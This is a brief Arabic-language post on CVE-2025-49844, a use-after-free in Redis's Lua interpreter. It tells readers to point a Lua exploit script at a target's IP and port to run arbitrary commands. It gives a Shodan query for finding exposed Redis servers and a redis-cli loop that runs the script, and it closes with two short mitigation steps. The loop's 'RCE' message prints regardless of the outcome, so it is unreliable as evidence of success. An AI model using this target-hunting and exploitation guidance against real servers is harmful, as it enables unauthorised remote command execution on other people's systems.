CVE-2025-49844 – مشكلة Use-After-Free في محلل Lua الخاص بـ Redis

باختصار وببساطة، تقوم بتشغيل هذا السكربت وبدلاً من

localhost

تضع عنوان IP الخاص بالهدف وتضبط المنفذ الخاص به، فيتصل إذا كان الهدف عرضة للثغرة ويمكنك تنفيذ أي أمر تريده.

في Shodan يمكنك أيضاً استخدام هذا البايلود للعثور على الأهداف المعرضة للثغرة

product:"Redis key-value store"

تحقق من الإصدار، إذا كان أقل من 8.2

تشغيل الاستغلال

while redis-cli -h localhost -p 6379 --eval CVE-2025-49844.lua >/dev/null; do
    printf 'connect to server :) RCE'
done

ماذا يجب أن تفعل

1. إذا كان بإمكانك، قم بتحديث Redis إلى الإصدار 8.2.2 أو أحدث.

2. إذا لم تتمكن من التحديث، فعلى الأقل قم بتعطيل تنفيذ Lua للمستخدمين المجهولين أو غير الموثوقين.